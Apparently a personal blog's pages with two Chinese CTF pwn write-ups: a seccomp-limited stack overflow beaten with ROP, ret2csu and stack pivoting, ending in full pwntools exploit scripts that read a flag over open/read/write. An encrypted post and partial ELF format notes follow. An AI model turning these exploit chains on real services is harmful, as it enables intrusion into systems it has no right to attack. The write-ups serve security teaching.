唐仔橙

题目链接:https://tangzichengcc.github.io/2023/04/04/ucas-高级网络攻防-实验二-pwn1-栈/rop 课上的pwn的练习1,总结来说基础差的太多,一个是漏洞基础,应该先对相应的漏洞的简单题多练一练,深入理解原理,不然后面遇到一点问题就卡住了,另外还是有很多底层的原理,基础知识需要补. 第一章 解题过程描述一. 攻击流程图 二. 详细解题过程1.ida反汇编查看伪代码​ 可以发现有install_seccomp(argc, argv, envp);函数,说明安装了保护 ​ 漏洞点在vuln函数中,存在栈溢出,但只能溢出8字节,显然空间非常需要,需要利用其他技术来布置后续攻击代码 2. seccomp保护​ 利用工具seccomp-tools查看 123456789101112131415161718root@VM-24-10-ubuntu:/tmp/330# seccomp-tools dump ./rop line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014 0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013 0005: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013 0006: 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5) goto 0013 0007: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013 0008: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013 0009: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013 0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013 0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013 0012: 0x06 0x00 0x00 0x00050005 return ERRNO(5) 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00000000 return KILL ​ 这段代码的作用是在64位的x86架构上过滤掉不需要的系统调用，只允许执行一些特定的系统调用。如果系统调用是这些特定的系统调用之一，则允许执行，否则拒绝执行。 ​ 具体允许的只有open,read,write,exit及其变种. 并且限制了架构,不能使用其他架构下的系统调用. 那么常用的方法是,构造orw链,利用open read write系统调用来读取和打印flag文件. 3. 寻找gadget3.1 orw123456789101112131415.plt.sec:0000000000401100 _open proc near ; CODE XREF: some_gifts+1D↓p.plt.sec:0000000000401100 endbr64.plt.sec:0000000000401104 bnd jmp cs:off_404040.plt.sec:0000000000401104 _open endp.plt.sec:00000000004010D0 _read proc near ; CODE XREF: vuln+40↓p.plt.sec:00000000004010D0 endbr64.plt.sec:00000000004010D4 bnd jmp cs:off_404028.plt.sec:00000000004010D4 _read endp.plt.sec:00000000004010C0 _write proc near ; CODE XREF: main+88↓p.plt.sec:00000000004010C0 ; main+9E↓p.plt.sec:00000000004010C0 endbr64.plt.sec:00000000004010C4 bnd jmp cs:off_404020.plt.sec:00000000004010C4 _write endp ​ 或者用elf.plt[‘read’]来获取 3.2 gadget​ amd64-64-little, x64架构下,目前应用的调用约定是fastcal,前三个传参的寄存器是rdi rsi rdx ​ 利用工具ROPgadget寻找可用的gadget,找到了rdi和rsi,未找到rdx,rdx的值并不一定总会影响函数的调用,要根据具体情况而定,在本题中,经过测试是会影响的,在read读取flag的时候,rdx代表着读取的长度,经过调试发现被设置为了0,所以读取的是空的.因此需要找到一个能设置rdx寄存器的gadget,会在后续章节说明. 1234567891011121314151617181920root@VM-24-10-ubuntu:/tmp/330# ROPgadget --binary rop --only 'pop|ret'Gadgets information============================================================0x000000000040147c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040147e : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401480 : pop r14 ; pop r15 ; ret0x0000000000401482 : pop r15 ; ret0x000000000040147b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040147f : pop rbp ; pop r14 ; pop r15 ; ret0x00000000004011fd : pop rbp ; ret0x0000000000401483 : pop rdi ; ret0x0000000000401481 : pop rsi ; pop r15 ; ret0x000000000040147d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040101a : ret0x0000000000401277 : ret 0x2beUnique gadgets found: 120x0000000000401483 : pop rdi ; ret0x0000000000401481 : pop rsi ; pop r15 ; ret 3.2.1 ret2csu​ 不同架构的csu代码是不一样的,要根据具体情况而定,就此题的架构而言,csu代码如下 ​ 先执行loc_401476里面的代码,进行pop赋值,ret后再执行loc_401460的代码,对传参寄存器进行赋值,然后再利用call 转移控制流 ​ rdi rsi rdx 分别对应着第一次要输入的 r12,r13,r14,call的地址是[r15+rbx*8],可以设置r15为存储跳转地址的地址,rbx为0 ​ 设置rbp为1,rbx为0,即可继续往下执行 3.2.2 栈迁移的gadget​ 由于只能溢出8字节,是不够布置gadget链的,需要扩展栈空间,通常用的手法是进行栈迁移,移动到一个更大的空间去 ​ leave == mov rsp,rbp;pop rbp;​ ret == pop rip #弹出栈顶数据给rip寄存器 ​ 利用两次leave;ret; 即可控制rsp ​ mov rsp,rbp; //第一个rbp不受我们的控制，但是下面pop的rbp可以被我们更改，从而就可以控制第二个leave里面的rsp​ pop rbp;​ mov rsp,rbp;​ pop rbp;​ pop rip 1234root@VM-24-10-ubuntu:/home/ubuntu/330# ROPgadget --binary rop --only 'leave|ret'Gadgets information============================================================0x00000000004012a7 : leave ; ret 4. 迁移到bss ​ 只迁移是不够的,同时应该做到在迁移到的新地方布置好rop链,一个想法是,调用vuln()函数中的read,既可以读取0x110的数据,最后也有leave;ret; 123456789.text:0000000000401304 loc_401304: ; CODE XREF: vuln+20↑j.text:0000000000401304 lea rax, [rbp+buf].text:000000000040130B mov edx, 110h ; nbytes.text:0000000000401310 mov rsi, rax ; buf.text:0000000000401313 mov edi, 0 ; fd.text:0000000000401318 call _read.text:000000000040131D nop.text:000000000040131E leave.text:000000000040131F retn ​ 但是这里有一个问题,数据被写入的地方不是rbp,而是rbp-0x100,而经过两次leave;ret;后修改的rsp的值是原始rbp的值,所以还是到达不了rop链的位置,因此,需要第三次的leave;ret;再次修正rsp的位置,这样的话,在第二次leave;ret;的时候,rbp设置为写入地址-0x108,然后第三次leave;ret;就把rsp设置为了rop链的开头 ​ 设置成0x108是因为在最后一个leave;ret;的时候,mov rsp,rbp,转移栈成功后,要pop出来rbp然后栈往下移动8字节,这个多的0x8用来抵消pop rbp. 5. 构造ROP链, 实现orw5.1 构造orw12345payload1 = p64(poprdi) + p64("0") + p64(poprsi)+ p64(bssaddr2) +p64(0)+ p64(readaddr)payload1 += p64(poprdi) + p64(bssaddr2) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)payload1 += p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr2) +p64(0)+ p64(readaddr)payload1 += p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr2) +p64(0) +p64(writeaddr) ​ 四行的用途分别是 ​ 从用户标准输入中读取 ./flag 字符,用于后面的open ​ open ./flag 这个文件,得到文件句柄3 ​ read 读取具柄3,读取到bss区域 ​ write 将flag所在bss区域内容输入到标准输出中 ​ 在调试中可以看到,在执行第三行操作,即read时,rdx的值被设置成了0,于是需要设置rdx的gadget 5.2 利用ret2csu构造 read的参数123456789101112131415csu_front_addr = 0x0000000000401460csu_end_addr = 0x000000000040147adef csu(rbx, rbp, r12, r13, r14, r15): # rdi rsi rdx 分别对应着 r12,r13,r14 # call的地址是[r15+rbx*8], 可以设置r15为地址,rbx为0 # r15这个地址存储的数据是要call的函数的地址 payloadtemp = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payloadtemp += p64(csu_front_addr) return payloadtemp# r12 + rbx*8 = 0x0004010C0temp = csu(0,1,3,bssaddr2,50,0x0404e24) ​ 要call的地址是[r15+rbx*8], 所以需要找到一个地址,存储着read函数的地址,在尝试利用5.1节第一行payload中存储rop链的中的bss地址中的read地址时发现,后面会被覆盖掉.可以在payload之后,再加上read函数的地址. 计算或者调试出存储其地址的地址. 5.3 利用ret2csu继续构造 write的参数​ 在上一步时,设置rbx=1,rbp=1,即可以让程序继续往下执行,进入第二轮ret2csu,与5.2中的方法类似,构造write的参数 ​ 完整exp见附录 第二章 题目技术点总结一. ORW​ ORW利用了Linux中的open/read/write系统调用来执行操作,通常在限制了系统调用的时候使用,在ctf中根本目标是获取flag,所以在拿不到系统权限的时候可以通过该中方法进行获取flag. ​ orw有很多种不同的系统调用可以使用,并且在不同架构下也有不一样的,根据seccomp具体的限制可以使用不同的方法. ​ 需要注意的是,在做题目时,要根据具体的系统版本来寻找系统调用,在最新版本中有可能加入新的可用的系统调用. 二. seccomp​ seccomp是一种在ctf pwn中常用的安全机制，可用于限制程序对系统调用的访问。通过使用seccomp，可以有效地降低程序受到攻击的风险。 三. ret2csu​ ret2csu是一种在ctf pwn中常用的技术，可用于在程序没有可用的gadget的情况下构造ROP链。它利用了一个特殊的函数__libc_csu_init来调用函数，并利用程序的堆栈来构造ROP链。 四. 栈迁移​ 可用于在程序栈空间不足的情况下，通过将栈迁移到bss段、堆等来执行攻击,也可以利用sub rsp等gadget来增加栈的长度.通常使用的是leave;ret;方法,第一次leave;ret;控制rbp,第二次可以控制rsp 第三章 错误处理一. open时出错​ bss段给的地址太小,在动态解析的时候,栈会移动到不可写的地方,导致出错,将bss往后移动多一点即可 二. orw(不设置rdx) 本地可以打通,远程不可以​ 是libc版本的问题,把版本切换到2.27(题目版本)后即可发现,在read时,rdx被设置为了0,因此需要找到能够设置rdx的gadget 参考资料https://blog.csdn.net/qq_34010404/article/details/123809796 https://blog.csdn.net/mcmuyanga/article/details/113389703 https://blog.csdn.net/qq_45691294/article/details/112196127 https://blog.csdn.net/qq_41696518/article/details/126665825 https://blog.csdn.net/qq_41202237/article/details/105913597 https://xz.aliyun.com/t/12189 附录:exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849from pwn import *import time#sh = remote("xxx",xxx)sh = remote("xxxx",52017)#sh = process("./rop")context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x0040131E")bssaddr = 0x0040412C + 0xd00retaddr = 0x0000401304readaddr = 0x0004010D0openaddr = 0x00401100writeaddr = 0x0004010C0csu_front_addr = 0x0000000000401460csu_end_addr = 0x000000000040147adef csu(rbx, rbp, r12, r13, r14, r15): payloadtemp = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payloadtemp += p64(csu_front_addr) return payloadtempdef csu2(rbp, r12, r13, r14, r15): payloadtemp = p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payloadtemp += p64(csu_front_addr) return payloadtempsh.sendlineafter("choice:",str(4919))payload =b"a"*256 + p64(bssaddr) + p64(retaddr)# 40413csh.send(payload)poprdi = 0x0000401483poprsi = 0x0000401481bssaddr2 = bssaddr + 0x20leave_ret = 0x0040131Epayload1 = p64(poprdi) + p64(0) + p64(poprsi)+ p64(bssaddr2) +p64(0)+ p64(readaddr)payload1 += p64(poprdi) + p64(bssaddr2) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)temp = csu(0,1,3,bssaddr2,50,0x404e0c)payload1 += temptemp2 = csu(0,1,1,bssaddr2,50,0x404e14)payload1 += temp2 + p64(readaddr) + p64(writeaddr)print("len:",len(payload1))payload1 = payload1.ljust(0x100,b"a")payload1 += p64(bssaddr-0x108) + p64(leave_ret)sh.send(payload1)sh.send("./flag\x00")sh.recv(1024)sh.interactive()

297f05f60dc60df7ad3147a64b55ba41ef632e7886bb70583f539f79dc665bd91c6dfb281a95c83b3f586677bfbacee5619cc440a2a39527bc1daaadd221f0a47bac954bf7833a08ccf0244f0c6223062aa0c91627c11d4d7dda024c87510b8fa2a2d65e4ed0e87cccb67cfa9efcd2162588bd631c2cfff823b9dc7239882caba90b3045af0e2877fdbe08ee4114bcf8fc85883a75bd443e78ab3d7eba34a297712270a123b0c88d1a8f2ba71b14184d4ae56dfbadc0ab2ee842dd24ffbdb371d8e96303e33be07ff7c5bff09b924db81840ceca18a668c6466dbcbce33837da8dd9395ec835e2ec5b3bac35f4fedfa8927c9ab34210b69142e5fd6d9b2bee0b4a376bdc7c6e59f8b0052cc7cdb57ab23a8e6329cc868570031411e6492509030f2574b196ddfd93e61b3b887789613a22b4d9c1d8dc37a3c9e8bd7b696f72e11e9a71328eb8304641842ad2d8ea18f87a0413317acb21e00237a48a7db823aa188a8ce2d693b055a0877d5312d3e2e08353b8e84fdf82ab5ff97bff097c3eef561b882de9143ab02a870ac4181db8a4ae522b20066fa69e0efb19d46164b5dbec3558aea1e2dcc3e3102f9df6b4636ef48505a11304363ae0f771ca0a1056625cf7aa7e0acbce7b3d09bf4cd864358fc668240774b1126d92a87cda62e098f9e61d0e1f89e3346231f05a076a65b3805a39d278e2516ade05a5485bf423c3ca1160f8cfc59c41ca7f130bf675a3bbaa15fb87a8277e61bf53bff5c2d1d7c0d1455c4bcb2264f40b38e40fcfca9a04c71380d6c10c614503f2e9ed9574716d3f475408a21460063e650e8fa39276e341c7cfd798202fd76bd79998e1436817ba77f4d63a3c4269c0487ad8ec8bf57bf509c8e0efa8184a3de1af25c4bbdfc6b6f9e9dfe10767e0820cd6de6f361113e6ed50ecdbc2f0943fb2a50584440b56e31364aa430d9015b1e826c0f5ee4c86da9536642fc2d9817f7c71c40b7b8a429eaec480d9d1d5c6c5bbfec678e8f0a4579638462189c75a92ee6347960aad8ef7663dce55bd70fadee82c26fc861ac79731328a16b2f0dc6990cedd25673b794dd443421b87b5079245f08057321ca94d03943efc8a4d9718e602a7ac8a998c3ee5f520a45608aac42b89f1673b762c8ff043b1d9109cf27dd5b48ed1ccaab806ee6c947c9e07778bc9c93ba6e2a00bd4179d8baa6b0b7aaae16aff24e93208cbd2daf875ba9faf4202afe16992e319d61b4217c47cbc1d06cf48893f6fba2fe32f1bad4d20de0387a44aa27913f95209011fa381f39f4abb3f8528dc556939c8fa621f2f40a2fcc28ffe7bbe1aad194680dcd08005928949166f77bfe4383bf0a3de0860eac7da6be4fdc04e2ee6375b7348d2f4a31d56341165746c9e7771e3dc1190811c2d1f48929fa7849de57491f4df273595dcda76ca1fe2e179fe1ad405bae35c36b6fd5882a61d43ea80c8f3fc52fc19d4d0e8e2ba4423286845cb584bb73dea59d938a8389e5268f65814103345c58105d0249dc534fcde471ce4ab1d0daf2e948bc4752b4f28ffae12deee29037a8300263f0fda47c2164aeb8a0311e2938f9cb98db27a0f88d75fb9972d4f85edd70b1bf5db7feb8dd4c1aeb130cf9f1028d0a043c1550734f89ab9ddd007fc99047901218c3930e53ef06c76c5199a6b62a25b0d329bde8c6f7d43319c7f3d59454a104b5e456cb60bd209348f1699a2c6e8cbd783884ea24cc7649476cb7386fa174779a94644dc6c0407ec784a0351fc0139509a2db7843d129533d6a52c458f3d903bd525cdfbcc45c92195407fd35ba6493f8ceb33110ad3963ea25402301dd07c1d5e35419c3e1f7d9bc7c50c0f1505fe1436a379a312616495642905d00b71718b9cdaa2a364d95f58a642054965a4a69a3282d131291f97dcf19139d99cb5e776c10d1c81af98491631e89909483908605fdd036dd069135ea17b37d125dc4028ba2c94b90511be379159ebf9eef389b4700586e7f96869d365552995894eb55e506e0b846d4fc2b4e1873971a7e8aa8c5ff0a0437a6415f177259c855c711e1cd5d0a71da4b26d8f0016b5b41f41c2f9ef7a51b1860f265607ecd9d7b37c74e25599ce3606e952db86 Hey, password is required here.

题目链接: https://tangzichengcc.github.io/2023/03/17/pwn入门-22-ucas课堂练习rop之orw/rop ​ 课上的一个小练习,理论上应该不难的..但是卡了很久…因为基础不牢+菜 反汇编代码查看12345678910111213141516171819202122232425262728293031323334353637383940414243444546int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+Ch] [rbp-4h] BYREF v3 = -1; install_seccomp(argc, argv, envp); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); puts("Welcome to the Santa's gift!"); puts("your choice:"); __isoc99_scanf("%d", &v3); if ( v3 == 4919 ) { vuln(); } else { if ( v3 != 9011 ) _exit(1); some_gifts(); } _exit(0);}ssize_t vuln(){ char buf[256]; // [rsp+0h] [rbp-100h] BYREF return read(0, buf, 0x150uLL);}ssize_t some_gifts(){ char s[16]; // [rsp+0h] [rbp-1010h] BYREF int fd; // [rsp+100Ch] [rbp-4h] fd = sys_open("./gifts.txt", 0LL); memset(s, 0, 0x1000uLL); if ( read(fd, s, 0x1000uLL) < 0 ) { puts("read error"); _exit(1); } return write(1, s, 0x1000uLL);} 检查安全措施​ install_seccomp、 ​ 看到这个函数就知道有seccomp保护措施,限制了一些系统调用的使用,于是使用工具进行检查, 123456789101112131415161718root@VM-24-10-ubuntu:/tmp# seccomp-tools dump ./rop line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014 0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013 0005: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013 0006: 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5) goto 0013 0007: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013 0008: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013 0009: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013 0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013 0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013 0012: 0x06 0x00 0x00 0x00050005 return ERRNO(5) 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00000000 return KILL ​ 能够看到只允许用open read write这几个,一般来说pwn题是要拿到权限的,但是根本目的是拿到flag,所以即便拿不到shell,也可以利用这几个函数调用来读取和打印flag 解题步骤寻找gadget1234567891011121314151617root@VM-24-10-ubuntu:/tmp# ROPgadget --binary rop --only 'pop|ret' Gadgets information============================================================0x00000000004014fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004014fe : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401500 : pop r14 ; pop r15 ; ret0x0000000000401502 : pop r15 ; ret0x00000000004014fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004014ff : pop rbp ; pop r14 ; pop r15 ; ret0x000000000040121d : pop rbp ; ret0x0000000000401503 : pop rdi ; ret0x0000000000401501 : pop rsi ; pop r15 ; ret0x00000000004014fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x000000000040101a : ret0x0000000000401297 : ret 0x2beUnique gadgets found: 12 ​ 根据调用约定,rdi rsi rdx是函数的前三个参数,但是没有找到pop rdx的gadget. ret2csu方法里是可以间接修改rdx的,不过事实上,这道题不需要管第三个参数,具体原因还未知. 布局函数​ 这里有一个很重要的问题,就是二进制文件中不存在flag这四个字符,因为后面读取flag,需要用到这个字符串,所以需要先获取这四个字符. 获取之后利用传统的orw来进行打开,读取和写出flag. open(’文件名‘,0,0) read(文件描述符,‘文件名’,读取大小) read比较特殊, 第一个文件描述符 0标准输入(从用户输入获取值) 1 标准输出,2标准错误 345..就是文件描述符了,当第一个参数是0的时候,第二个参数就不是文件名了,而是要写入的内存地址 write(1，‘文件名’，写大小) ​ 所以分了四个步骤,如下 read(0,写入的内存地址,0x30) open(‘flag’,0,0) read(3,‘flag’,0x30) 从打开的文件中读取 write(1,‘flag’,0x30) 标准输出 编写payload​ 256溢出+8字节rbp,然后就是返回地址了,构造rop链,下面四行分别对应着上面的四步 ​ poprsi的话,没有单独的 ,只有 0x0000000000401501 : pop rsi ; pop r15 ; ret, 所以在它后面再加一个垃圾数据.上面说过,没有pop rdx,所以我们只需要控制前两个参数即可 1234payload = "a"*264 + p64(poprdi) + p64("0") + p64(poprsi)+ p64(bssaddr) +p64(0)+ p64(readaddr) payload += p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)payload += p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr) +p64(0)+ p64(readaddr)payload += p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr) +p64(0) +p64(writeaddr) ​ 但是这里还有问题,就是payload的长度太长,溢出只有0x150 - 256 - 8 =72字节,是不够用的,所以这里需要再进行调整,有两个办法,一个是可以多次溢出,四步可以分四步来进行,每完成一步,再跳回到vul函数开头,重新溢出执行下一步,第二个办法是进行栈迁移,把栈移到更大的空间去 1234payload = b"a"*264 + p64(poprdi) + p64(0) + p64(poprsi)+ p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)payload1 = b"a"*264+p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)+p64(vuladdr)payload2 = b"a"*264+p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)payload3 = b"a"*264+p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr) +p64(0) +p64(writeaddr)+p64(vuladdr) ​ 分四次发送即可,每次在最后跳回vul函数开头 exp1234567891011121314151617181920212223242526272829303132from pwn import *import timesh = remote("xxx",xxx)#sh = process("./rop")context.log_level= "debug"#context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x000004013AE")poprdi = 0x0000000000401503poprsi = 0x0000000000401501popr13 = 0x00000000004014fescanfaddr = 0x0000000000401451bssaddr = 0x0000404100 + 0x100readaddr = 0x000000401100openaddr = 0x00000004012C9writeaddr = 0x000000004010E0start = 0x000401432vuladdr = 0x0000000401384payload = b"a"*264 + p64(poprdi) + p64(0) + p64(poprsi)+ p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)payload1 = b"a"*264+p64(poprdi) + p64(bssaddr) + p64(poprsi) + p64(0)+p64(0)+p64(openaddr)+p64(vuladdr)payload2 = b"a"*264+p64(poprdi) + p64(3) + p64(poprsi) + p64(bssaddr) +p64(0)+ p64(readaddr)+p64(vuladdr)payload3 = b"a"*264+p64(poprdi) + p64(1) + p64(poprsi) + p64(bssaddr) +p64(0) +p64(writeaddr)+p64(vuladdr)#input()sh.sendlineafter("choice:",str(4919))sh.sendline(payload)sh.send("flag") # 不能用sendline 会有\nsh.sendline(payload1)sh.sendline(payload2)sh.sendline(payload3)sh.recv(1024)sh.interactive() 细节注意open write read函数选择​ 一开始选的是 .text:0000000000401313 E8 B1 FF FF FF call sys_open ,这肯定是不对的,因为这里的话,控制流到了这里,执行完call没有ret会继续往下执行,就乱套了, 1234567891011121314151617181920.text:000000000040130C lea rdi, aGiftsTxt ; "./gifts.txt".text:0000000000401313 call sys_open.text:0000000000401318 mov [rbp+fd], eax.text:000000000040131B lea rax, [rbp+s].text:0000000000401322 mov edx, 1000h ; n.text:0000000000401327 mov esi, 0 ; c.text:000000000040132C mov rdi, rax ; s.text:000000000040132F call _memset.text:0000000000401334 lea rcx, [rbp+s].text:000000000040133B mov eax, [rbp+fd].text:000000000040133E mov edx, 1000h ; nbytes.text:0000000000401343 mov rsi, rcx ; buf.text:0000000000401346 mov edi, eax ; fd.text:0000000000401348 call _read.text:000000000040134D test rax, rax.text:0000000000401350 jns short loc_401368.text:0000000000401352 lea rdi, aReadError ; "read error".text:0000000000401359 call _puts.text:000000000040135E mov edi, 1 ; status.text:0000000000401363 call __exit ​ 应该调用plt这个,这个调用完之后会ret返回 12345.plt.sec:0000000000401100 _read proc near ; CODE XREF: some_gifts+59↓p.plt.sec:0000000000401100 ; vuln+23↓p.plt.sec:0000000000401100 endbr64.plt.sec:0000000000401104 bnd jmp cs:off_404038.plt.sec:0000000000401104 _read endp send、sendline​ sh.send(“flag”) # 不能用sendline 会有\n 第一次read读取flag文件名的时候,不能用sendline,否则会有个回车,就不是正确的文件名了

一、基础ELF文件 整体架构​ elf文件主要分了几部分:头部、程序头、节表头以及各种节. ​ elf头部中存储了程序头和节表头的位置,节头中又存储了各个节的位置,以此进行索引. ​ 所以可以回答第2个问题的一部分, 这些节(我认为题目应该说的是节的意思, 段和节经常混用) 在ELF中的位置是可以任意调换的,因为在头部中指定了它们的位置,只要索引信息没问题就可以. 链接视图与执行时视图​ elf静态文件是链接视图,当加载到内存后,会有些许变化. ​ 在链接视图中,节表是必须的,需要根据它来定位各个节,以及保存节的属性,而程序头表则是可选的,程序头表的内容是加载进内存后的属性(是否可选要看该文件的类型??). ​ 在执行视图中,程序头表是必须的,节表就是可选的了. ​ 在静态文件中,有各种不一样的程序的节(section),比如.text节 .bss节,在加载进内存后,加载器会将相同的节属性（比如只读）合并一个段(segment) ELF文件头 ehdr​ 详细内容:https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html ​ 结构体定义如下 12345678910111213141516171819202122232425262728293031323334353637#define EI_NIDENT 16typedef struct { unsigned char e_ident[EI_NIDENT]; Elf32_Half e_type; Elf32_Half e_machine; Elf32_Word e_version; Elf32_Addr e_entry; Elf32_Off e_phoff; Elf32_Off e_shoff; Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Half e_shentsize; Elf32_Half e_shnum; Elf32_Half e_shstrndx;} Elf32_Ehdr;typedef struct{ unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf64_Half e_type; /* Object file type */ elf文件类型 Elf64_Half e_machine; /* Architecture */ CPU架构 Elf64_Word e_version; /* Object file version */ 指定ELF版本,一般都为1 Elf64_Addr e_entry; /* Entry point virtual address */ 代码运行的入口 Elf64_Off e_phoff; /* Program header table file offset */ 程序头表在文件中的偏移 Elf64_Off e_shoff; /* Section header table file offset */ 节头表在文件中的偏移 Elf64_Word e_flags; /* Processor-specific flags */ 在e_machine指定的处理器下的一些特性 Elf64_Half e_ehsize; /* ELF header size in bytes */ Elf64_Half e_phentsize; /* Program header table entry size */ 程序头表每个条目的大小 Elf64_Half e_phnum; /* Program header table entry count */ 程序头表中条目的树木 Elf64_Half e_shentsize; /* Section header table entry size */ 节头表每个条目的大小 Elf64_Half e_shnum; /* Section header table entry count */ 节头表中条目的数量 Elf64_Half e_shstrndx; /* Section header string table index */ 每个节都有一个名称,这些名称存储在.shstrtab节中,e_shstrndx指定这个特殊的节所在节头表的下表} Elf64_Ehdr; ​ 可以用010editor加载插件后清晰的看到结构(需要在templates里面安装和加载一下elf模版) e_ident​ 一个16字节大小的数组 ​ 这个下标范围标错了吧…. ELF节表头 shdr​ e_shoff是 0x19a8(小端) ​ 可以看到0x19a8开始,存储的是各个节的内容 ​ 结构如下 1234567891011121314151617181920212223242526272829/* Section header. */ typedef struct{ Elf32_Word sh_name; /* Section name (string tbl index) */ Elf32_Word sh_type; /* Section type */ Elf32_Word sh_flags; /* Section flags */ Elf32_Addr sh_addr; /* Section virtual addr at execution */ Elf32_Off sh_offset; /* Section file offset */ Elf32_Word sh_size; /* Section size in bytes */ Elf32_Word sh_link; /* Link to another section */ Elf32_Word sh_info; /* Additional section information */ Elf32_Word sh_addralign; /* Section alignment */ Elf32_Word sh_entsize; /* Entry size if section holds table */} Elf32_Shdr; typedef struct{ Elf64_Word sh_name; /* Section name (string tbl index) */ 名称,值是在string表的索引 Elf64_Word sh_type; /* Section type */ Elf64_Xword sh_flags; /* Section flags */ 标记属性 读写执行 Elf64_Addr sh_addr; /* Section virtual addr at execution */ 虚拟地址 Elf64_Off sh_offset; /* Section file offset */ 在文件中的偏移 Elf64_Xword sh_size; /* Section size in bytes */ 大小 Elf64_Word sh_link; /* Link to another section */ Elf64_Word sh_info; /* Additional section information */ Elf64_Xword sh_addralign; /* Section alignment */ Elf64_Xword sh_entsize; /* Entry size if section holds table */} Elf64_Shdr; sh_name​ 这里存储的是节名的下标,节名实际存在于.shstrtab中,这里存的是在shstrtab中的下标. 节 section.text节​ 保存了程序代码指令的代码节. 一段可执行程序如果存在Phdr, .text字节就会存在于text段中(如果不存在呢??) .rodata节​ 保存只读数据,如一行c语言代码中的字符串 printf(“hello world\n”); 因为是只读,所以也放到了text段 .data节​ 保存了初始的全局变量等数据.存在于data段 .bss节​ 保存了未进行初始化的全局数据,存在于data段. .plt​ 包含了动态链接器调用从共享库导入的函数所必需的相关代码. 存在于text段中,同样保存了代码. .got​ 保存了全局偏移表.这个存的是变量 .got.plt​ 这个存的是函数引用 .dynsym​ 保存了从共享库导入的动态符号信息,该节保存在text段中 .dynstr​ 保存了动态符号字符串表,表中存放了一系列字符串,这些字符串表示符号的名称,以空字符00作为终止符 ELF程序头 phdr (segment段)​ 程序头中描述了可执行文件的段信息,即程序如何加载到内存以及内存中的布局. ​ 程序头可以通过elf文件头的e_phoff（程序头表偏移量）字段来得到位置 ​ 它主要有5种类型 123456789101112131415161718192021222324/* Program segment header. */ typedef struct{ Elf32_Word p_type; /* Segment type */ Elf32_Off p_offset; /* Segment file offset */ Elf32_Addr p_vaddr; /* Segment virtual address */ Elf32_Addr p_paddr; /* Segment physical address */ Elf32_Word p_filesz; /* Segment size in file */ Elf32_Word p_memsz; /* Segment size in memory */ Elf32_Word p_flags; /* Segment flags , I.E execute|read|write */ Elf32_Word p_align; /* Segment alignment */} Elf32_Phdr;typedef struct { Elf64_Word p_type; //类型 Elf64_Word p_flags; // 读写执行权限 Elf64_Off p_offset; //文件中的偏移 Elf64_Addr p_vaddr; //虚拟地址 Elf64_Addr p_paddr; //物理地址 Elf64_Xword p_filesz; //在文件中的大小 Elf64_Xword p_memsz; //在内存中的大小 Elf64_Xword p_align; //} Elf64_Phdr; PT_LOAD​ 